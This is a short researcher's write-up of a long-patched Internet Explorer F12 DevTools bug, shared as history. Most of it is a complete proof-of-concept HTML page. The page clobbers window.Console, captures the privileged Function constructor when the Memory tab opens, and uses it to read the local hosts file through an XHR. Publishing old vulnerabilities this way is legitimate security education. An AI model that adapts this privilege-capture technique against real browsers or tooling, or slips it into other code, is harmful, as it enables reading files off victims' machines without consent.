I was lucky to find this one while looking at how the F12 memory profiler initialized its console object. The vulnerable code in perftools/memory/remote.js wrote directly to realWindow.console, and a page could pre-clobber window.Console to intercept the assignment and steal the elevated Function constructor.
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Test</title>
</head>
<body>
Open DevTools and click on the Memory section (the camera image). Smile. Exploit.<br /><br />
File: perftools/memory/remote.js<br />
Vulnerable Code: var console = realWindow.console = { };<br />
<script>
window.Console = false;
function main()
{
if (typeof console.constructor == "function")
{
exploit(console.constructor.constructor);
}
else setTimeout("main()", 1000);
}
function exploit(F12Function)
{
oXML = F12Function("return new XMLHttpRequest()")();
oXML.open("GET", "file:///c:/windows/system32/drivers/etc/hosts", false);
oXML.send(null);
alert(oXML.responseText);
}
main();
</script>
</body>
</html>The pattern here was similar to the querySelectorAll case: the F12 tools ran JavaScript in a privileged context, and by poisoning an object they consumed, the page could capture that privileged Function constructor. Calling constructor.constructor("return new XMLHttpRequest()")() created an XHR that could bypass the normal same-origin restrictions, reading local files on the user’s machine just by clicking the Memory tab.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.